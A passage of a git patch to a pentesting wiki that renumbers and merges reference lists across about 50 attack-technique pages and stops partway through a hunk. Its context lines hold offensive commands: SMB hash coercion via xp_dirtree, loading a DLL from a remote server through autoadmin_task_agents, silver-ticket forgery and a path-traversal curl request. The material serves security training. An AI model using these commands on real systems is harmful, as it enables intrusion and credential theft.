From 5cc641f0296affd3c1f3598b4d2aa397311edc67 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 11:05:26 +0200 Subject: [PATCH 1/6] References audit: numbered citations for 50 pages Audits the '## References' of these pages: merges duplicated reference sections into one, numbers every entry, adds the linked [[N]](#references) citations to the content each reference is the source of, drops unused references and credits the original research. Co-Authored-By: Claude Opus 5 (1M context) --- .../pentesting-irc.md | 3 - .../pentesting-iso-8583-payment-sockets.md | 4 +- ...entesting-jdwp-java-debug-wire-protocol.md | 14 --- .../pentesting-kerberos-88/README.md | 15 ++- .../harvesting-tickets-from-linux.md | 6 +- .../harvesting-tickets-from-windows.md | 2 +- .../README.md | 92 ++++++++++--------- .../pentesting-web/golang.md | 7 +- .../pentesting-web/grafana.md | 16 ++-- .../pentesting-web/h2-java-sql-database.md | 1 + .../iis-internet-information-services.md | 69 +++++++------- .../pentesting-web/imagemagick-security.md | 2 - .../pentesting-web/ispconfig.md | 2 +- .../pentesting-web/jboss.md | 6 -- .../pentesting-web/jira.md | 2 - .../pentesting-web/joomla.md | 2 - .../pentesting-web/microsoft-sharepoint.md | 33 ++++--- .../pentesting-web/moodle.md | 2 - .../pentesting-web/nginx.md | 4 +- .../pentesting-web/nodejs-express.md | 2 +- .../pentesting-web/perl-tricks.md | 3 - .../pentesting-web/php-tricks-esp/README.md | 32 +++---- ...object-creation-new-usd_get-a-usd_get-b.md | 2 +- .../pentesting-web/php-tricks-esp/php-ssrf.md | 1 - .../README.md | 2 - .../disable_functions-bypass-dl-function.md | 1 - ...than-3.3.0-php-greater-than-5.4-exploit.md | 10 +- .../disable_functions-bypass-mod_cgi.md | 3 - ...p-4-greater-than-4.2.0-php-5-pcntl_exec.md | 1 - ..._functions-bypass-php-5.2-fopen-exploit.md | 3 - ...p-5.2.3-win32std-ext-protections-bypass.md | 9 +- ...ons-bypass-php-5.2.4-and-5.2.5-php-curl.md | 15 +-- ...e_functions-bypass-php-7.0-7.4-nix-only.md | 3 - ...isable_functions-bypass-php-fpm-fastcgi.md | 20 ++-- ...s-bypass-php-less-than-5.2.9-on-windows.md | 5 +- ...perl-extension-safe_mode-bypass-exploit.md | 12 +-- ...roc_open-and-custom-environment-exploit.md | 3 - .../disable_functions-bypass-via-mem.md | 3 - ...ons-php-5.2.4-ioncube-extension-exploit.md | 6 +- ...le_functions-php-5.x-shellshock-exploit.md | 3 - .../pentesting-web/prestashop.md | 2 +- .../pentesting-web/put-method-webdav.md | 1 - .../pentesting-web/python.md | 5 - .../pentesting-web/rocket-chat.md | 5 - .../pentesting-web/roundcube.md | 2 +- .../pentesting-web/ruby-tricks.md | 6 +- .../pentesting-web/servicenow.md | 2 +- .../pentesting-web/sitecore/README.md | 2 +- .../pentesting-web/special-http-headers.md | 15 ++- .../pentesting-web/wordpress.md | 3 - 50 files changed, 201 insertions(+), 263 deletions(-) diff --git a/src/network-services-pentesting/pentesting-irc.md b/src/network-services-pentesting/pentesting-irc.md index 5b7552926ab..0cd90a6053e 100644 --- a/src/network-services-pentesting/pentesting-irc.md +++ b/src/network-services-pentesting/pentesting-irc.md @@ -82,6 +82,3 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 - `looking up your hostname` {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md b/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md index b7921f850d6..9cc643ab23d 100644 --- a/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md +++ b/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md @@ -84,7 +84,7 @@ Capture a valid financial request and replay it: - after the deduplication/cache window expires - with the same **DE11** and **DE37** -Weak processors only cache duplicates briefly and later re-accept the same frame as a new charge. Persistent duplicate detection should bind at least merchant, terminal, amount, card, STAN, RRN, and transaction lifecycle. +Weak processors only cache duplicates briefly and later re-accept the same frame as a new charge. Persistent duplicate detection should bind at least merchant, terminal, amount, card, STAN, RRN, and transaction lifecycle.[[1]](#references) ### Cross-merchant / object-ownership flaws @@ -105,7 +105,7 @@ If the terminal locally blocks a void/refund because the wrong card was inserted ### Business-logic mutations -High-value mutations include: +High-value mutations include:[[1]](#references) - increase **DE4** above the original amount - zero amount `000000000000` diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index 87cebf10b9d..b31e807bb56 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -53,19 +53,5 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploi ## References - [1] [Hacking the Java Debug Wire Protocol – or – "How I met your Java debugger"](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) -- [2] [IOActive/jdwp-shellifier GitHub repository](https://github.com/IOActive/jdwp-shellifier) -- [3] [Java™ Platform Debugger Architecture](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) -- [4] [Scapy project (dead link)](http://www.secdev.org/projects/scapy) -- [5] [Shodan search: JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) -- [6] [HSC News archive (dead link)](http://www.hsc-news.com/archives/2013/000109.html) -- [7] [JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) -- [8] [GitHub code search: -Xdebug -Xrunjdwp](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults) -- [9] [Runtime (Java Platform SE 6)](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) -- [10] [JDWP Specification (Java SE 1.5)](http://docs.oracle.com) -- [11] [Java(tm) Debug Wire Protocol](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) -- [12] [jdwp-exec NSE script — Nmap Scripting Engine documentation](http://nmap.org/nsedoc/scripts/jdwp-exec.html) - {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 5be201c0e2f..93e947aedfe 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -76,20 +76,12 @@ Tips: The MS14-068 flaw permits an attacker to tamper with a legitimate user's Kerberos login token to falsely claim elevated privileges, such as being a Domain Admin. This counterfeit claim is mistakenly validated by the Domain Controller, enabling unauthorized access to network resources across the Active Directory forest. - {{#ref}} https://adsecurity.org/?p=541 {{#endref}} Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) -## References - -- [1] [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/) -- [2] [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication) -- [3] [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html) -- [4] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) - ## HackTricks Automatic Commands ``` @@ -122,4 +114,11 @@ Entry_4: Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs ``` +## References + +- [1] [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/) +- [2] [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication) +- [3] [MIT Kerberos Documentation – For users (ticket management: kinit/klist)](https://web.mit.edu/kerberos/krb5-1.22/doc/user/index.html) +- [4] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md index 24059da2b01..83a8e6d297e 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md @@ -32,7 +32,7 @@ The combination of `klist`, `keyctl`, and `/proc` inspection quickly reveals whe ### Extracting Credentials -The 2017 paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel's keyring mechanism for managing and storing keys.[[4]](#references) +The 2017 paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://web.archive.org/web/20210721113019/https://www.delaat.net/rp/2016-2017/p97/report.pdf), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel's keyring mechanism for managing and storing keys.[[4]](#references) #### Keyring Extraction Overview @@ -104,9 +104,9 @@ Having both tickey and kerbtool on your implant host lets you move seamlessly be ## References -- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) +- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [2] [KCM server for SSSD](https://docs.pagure.org/sssd.sssd/design_pages/kcm.html) - [3] [kerbtool](https://github.com/jfjallid/kerbtool) -- [4] [Kerberos Credential Thievery (GNU/Linux)](https://www.delaat.net/rp/2016-2017/p97/report.pdf) +- [4] [Kerberos Credential Thievery (GNU/Linux)](https://web.archive.org/web/20210721113019/https://www.delaat.net/rp/2016-2017/p97/report.pdf) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md index c992ced74d7..de89f394f71 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md @@ -93,7 +93,7 @@ On recent Windows 11 / Server 2025 estates, **LSASS protected process** and **Cr ## References -- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) +- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [2] [Rubeus Overview](https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/overview) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index a2d388f28fc..884d5530b27 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -16,7 +16,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): ### Landing on a Managed Database-as-a-Service (DBaaS) -Everything that depends on "owning the host" (e.g., privilege escalation, lateral movement, and OS command execution) ceases to exist in DBaaS. Pentesting in these environments must pivot to application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, or poor network/VPC design. For example, the [Amazon RDS documentation](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/SQLServer.Concepts.General.FeatureNonSupport.html) explicitly states that `xp_cmdshell` and the `TRUSTWORTHY` database property are not supported. +Everything that depends on "owning the host" (e.g., privilege escalation, lateral movement, and OS command execution) ceases to exist in DBaaS. Pentesting in these environments must pivot to application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, or poor network/VPC design. For example, the [Amazon RDS documentation](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/SQLServer.Concepts.General.FeatureNonSupport.html) explicitly states that `xp_cmdshell` and the `TRUSTWORTHY` database property are not supported.[[1]](#references) > [!WARNING] > You get a database endpoint, not a server. The cloud provider manages the host OS, the database engine binaries, and many security policies. @@ -218,7 +218,7 @@ SELECT * FROM sysusers 2. **Permission:** Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels: - **Server Level** using logins - **Database Level** using users -3. **Principal:** This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights. +3. **Principal:** This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.[[2]](#references) ```sql # Show all different securables names @@ -298,7 +298,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c ### WMI-based remote SQL collection (sqlcmd + CSV export) -Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity. +Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity.[[3]](#references) Example mssq.bat ```bat @@ -339,7 +339,7 @@ SELECT * FROM master.sys.syslogins; ### Steal NetNTLM hash / Relay attack -You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example). +You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).[[4]](#references) ```bash xp_dirtree '\\\any\thing' @@ -403,11 +403,11 @@ ticketer.py -nthash -domain-sid -domain -sp KRB5CCNAME=.ccache mssqlclient.py -no-pass -k ``` -- Enable `xp_cmdshell` if needed; commands run as the SQL Server service account even when impersonating via the forged ticket. +- Enable `xp_cmdshell` if needed; commands run as the SQL Server service account even when impersonating via the forged ticket.[[5]](#references) ### Abusing MSSQL trusted Links -[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature:** +[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature:**[[6]](#references) {{#ref}} @@ -416,9 +416,9 @@ KRB5CCNAME=.ccache mssqlclient.py -no-pass -k #### Linked-server credential mapping -> remote `sysadmin` -> OS RCE -Linked servers can be configured with a **non-self login mapping** (`Local Login` -> `Remote Login`). In that case, a low-privileged login on the first SQL Server can execute queries on the second one **as the mapped remote principal**. This works the same way even when the linked instance lives in **another domain or forest**. +Linked servers can be configured with a **non-self login mapping** (`Local Login` -> `Remote Login`). In that case, a low-privileged login on the first SQL Server can execute queries on the second one **as the mapped remote principal**. This works the same way even when the linked instance lives in **another domain or forest**.[[7]](#references) -First enumerate the links and their mappings: +First enumerate the links and their mappings:[[8]](#references) ```sql EXEC sp_linkedservers; @@ -491,7 +491,7 @@ By default, `MSSQL` allows file **read on any file in the operating system to wh SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` -However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission. +However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission.[[9]](#references) ```sql # Check if you have it @@ -507,11 +507,11 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ### SQL Server 2025 AI / REST abuse -SQL Server 2025 adds **database-native outbound HTTPS** and **external embedding model** support, which creates new exfiltration, coercion, persistence, and C2 primitives. +SQL Server 2025 adds **database-native outbound HTTPS** and **external embedding model** support, which creates new exfiltration, coercion, persistence, and C2 primitives.[[10]](#references)[[11]](#references) #### `sp_invoke_external_rest_endpoint` for HTTPS exfiltration -Useful constraints before abusing it: +Useful constraints before abusing it:[[12]](#references) - Disabled by default on **SQL Server 2025**. A user with **`ALTER SETTINGS`** (commonly `sysadmin` / `serveradmin`) must enable it: @@ -587,7 +587,7 @@ WITH ( SELECT AI_GENERATE_EMBEDDINGS(N'checkin' USE MODEL attacker_model); ``` -Useful permission notes: +Useful permission notes:[[13]](#references)[[14]](#references) - Creating/altering models requires **`CREATE EXTERNAL MODEL`** or **`ALTER ANY EXTERNAL MODEL`**. - A principal needs **`EXECUTE`** on the external model to use it. @@ -657,7 +657,7 @@ GO ### Read Registry -Microsoft SQL Server provides **multiple extended stored procedures** that allow you to interact with not only the network but also the file system and even the [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server provides **multiple extended stored procedures** that allow you to interact with not only the network but also the file system and even the [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**[[15]](#references) | **Regular** | **Instance-Aware** | | --------------------------- | ------------------------------------ | @@ -682,7 +682,7 @@ EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).[[15]](#references) ### RCE with MSSQL User Defined Function - SQLHttp @@ -692,7 +692,7 @@ It's possible to **load a .NET dll within MSSQL with custom functions**. This, h ### RCE with `autoadmin_task_agents` -According[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), it's also possible to load a remote dll and make MSSQL execute it with something like: +According[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), it's also possible to load a remote dll and make MSSQL execute it with something like:[[16]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; @@ -758,7 +758,7 @@ There are other methods to get command execution, such as adding [extended store ### From db_owner to sysadmin -If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**). +If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).[[17]](#references) ```sql # Get owners of databases @@ -810,7 +810,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ### Impersonation of other users -SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends. +SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends.[[18]](#references) ```sql # Find users you can impersonate @@ -863,11 +863,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Using MSSQL for Persistence -[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) +[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)[[19]](#references) ## Extracting passwords from SQL Server Linked Servers -An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)[[20]](#references) Some requirements, and configurations must be done in order for this exploit to work. First of all, you must have Administrator rights on the machine, or the ability to manage the SQL Server Configurations. @@ -877,11 +877,11 @@ After validating your permissions, you need to configure three things, which are 2. Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806. 3. Enable remote admin connection. -To automate these configurations, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords. +To automate these configurations, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.[[21]](#references) -For further information, refer to the following links regarding this attack: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +For further information, refer to the following links regarding this attack: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)[[22]](#references) -[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)[[23]](#references) ## Local Privilege Escalation @@ -902,28 +902,6 @@ You probably will be able to **escalate to Administrator** following one of thes - `port:1433 !HTTP` -## References - -- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/) -- [HTB: DarkZero - linked-server credential mapping to cross-forest RCE](https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html) -- [HTB: Signed - MSSQL coercion to silver ticket sysadmin](https://0xdf.gitlab.io/2026/02/07/htb-signed.html) -- [Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-helplinkedsrvlogin-transact-sql) -- [SpecterOps - Oops, I Weaponized the Database: Abusing AI Features in SQL Server 2025](https://specterops.io/blog/2026/06/10/oops-i-weaponized-the-database-abusing-ai-features-in-mssql-2025) -- [gershsec/mssql2025-poc](https://github.com/gershsec/mssql2025-poc) -- [Microsoft Learn - sp_invoke_external_rest_endpoint (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-invoke-external-rest-endpoint-transact-sql?view=sql-server-ver17) -- [Microsoft Learn - CREATE EXTERNAL MODEL (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/statements/create-external-model-transact-sql?view=sql-server-ver17) -- [Microsoft Learn - AI_GENERATE_EMBEDDINGS (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/functions/ai-generate-embeddings-transact-sql?view=sql-server-ver17) -- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) -- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) -- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) -- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) -- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) -- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) -- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) -- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - ## HackTricks Automatic Commands ``` @@ -982,4 +960,30 @@ Entry_3: ``` +## References + +- [1] [Amazon RDS for SQL Server – Features not supported and features with limited support](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/SQLServer.Concepts.General.FeatureNonSupport.html) +- [2] [MSSQLTips – SQL Server Login/User Permissions with fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) +- [3] [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/) +- [4] [NetSPI – Executing SMB Relay Attacks via SQL Server using Metasploit](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) +- [5] [HTB: Signed - MSSQL coercion to silver ticket sysadmin](https://0xdf.gitlab.io/2026/02/07/htb-signed.html) +- [6] [Mayfly – GOAD part 12: Trusts (MSSQL trusted links, cross-forest)](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) +- [7] [HTB: DarkZero - linked-server credential mapping to cross-forest RCE](https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html) +- [8] [Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-helplinkedsrvlogin-transact-sql) +- [9] [PT SWARM – Advanced MSSQL Injection Tricks](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +- [10] [SpecterOps - Oops, I Weaponized the Database: Abusing AI Features in SQL Server 2025](https://specterops.io/blog/2026/06/10/oops-i-weaponized-the-database-abusing-ai-features-in-mssql-2025) +- [11] [gershsec/mssql2025-poc](https://github.com/gershsec/mssql2025-poc) +- [12] [Microsoft Learn - sp_invoke_external_rest_endpoint (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-invoke-external-rest-endpoint-transact-sql?view=sql-server-ver17) +- [13] [Microsoft Learn - CREATE EXTERNAL MODEL (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/statements/create-external-model-transact-sql?view=sql-server-ver17) +- [14] [Microsoft Learn - AI_GENERATE_EMBEDDINGS (Transact-SQL)](https://learn.microsoft.com/en-us/sql/t-sql/functions/ai-generate-embeddings-transact-sql?view=sql-server-ver17) +- [15] [Wayne Sheffield – Working with the registry from within SQL Server](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) +- [16] [exploit7 – SQL Server SAD Agent (autoadmin_task_agents remote DLL execution)](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) +- [17] [NetSPI – Hacking SQL Server Stored Procedures Part 1: (un)Trustworthy Databases](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) +- [18] [NetSPI – Hacking SQL Server Stored Procedures Part 2: User Impersonation](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) +- [19] [NetSPI – Maintaining Persistence via SQL Server Part 1: Startup Stored Procedures](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) +- [20] [Richard Swinbank – Extract linked server passwords](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +- [21] [IamLeandrooooo/SQLServerLinkedServersPasswords – automation scripts for extracting Linked Server passwords](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) +- [22] [NetSPI – Decrypting MSSQL Credential Passwords (Linked Servers)](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +- [23] [MSSQLTips – Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/golang.md b/src/network-services-pentesting/pentesting-web/golang.md index 6b8d5aa30b4..d08a7bac7df 100644 --- a/src/network-services-pentesting/pentesting-web/golang.md +++ b/src/network-services-pentesting/pentesting-web/golang.md @@ -10,7 +10,7 @@ In the Go programming language, a common practice when handling HTTP requests, s - Paths containing directory traversal sequences such as `/../flag` are simplified and redirected to `/flag`. - Paths with a trailing period as in `/flag/.` are also redirected to the clean path `/flag`. -However, an exception is observed with the use of the `CONNECT` method. Unlike other HTTP methods, `CONNECT` does not trigger the path normalization process. This behavior opens a potential avenue for accessing protected resources. By employing the `CONNECT` method alongside the `--path-as-is` option in `curl`, one can bypass the standard path normalization and potentially reach restricted areas. +However, an exception is observed with the use of the `CONNECT` method. Unlike other HTTP methods, `CONNECT` does not trigger the path normalization process. This behavior opens a potential avenue for accessing protected resources. By employing the `CONNECT` method alongside the `--path-as-is` option in `curl`, one can bypass the standard path normalization and potentially reach restricted areas.[[1]](#references) The following command demonstrates how to exploit this behavior: @@ -20,7 +20,8 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag [https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go\#L2354-L2364](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364) -{{#include ../../banners/hacktricks-training.md}} - +## 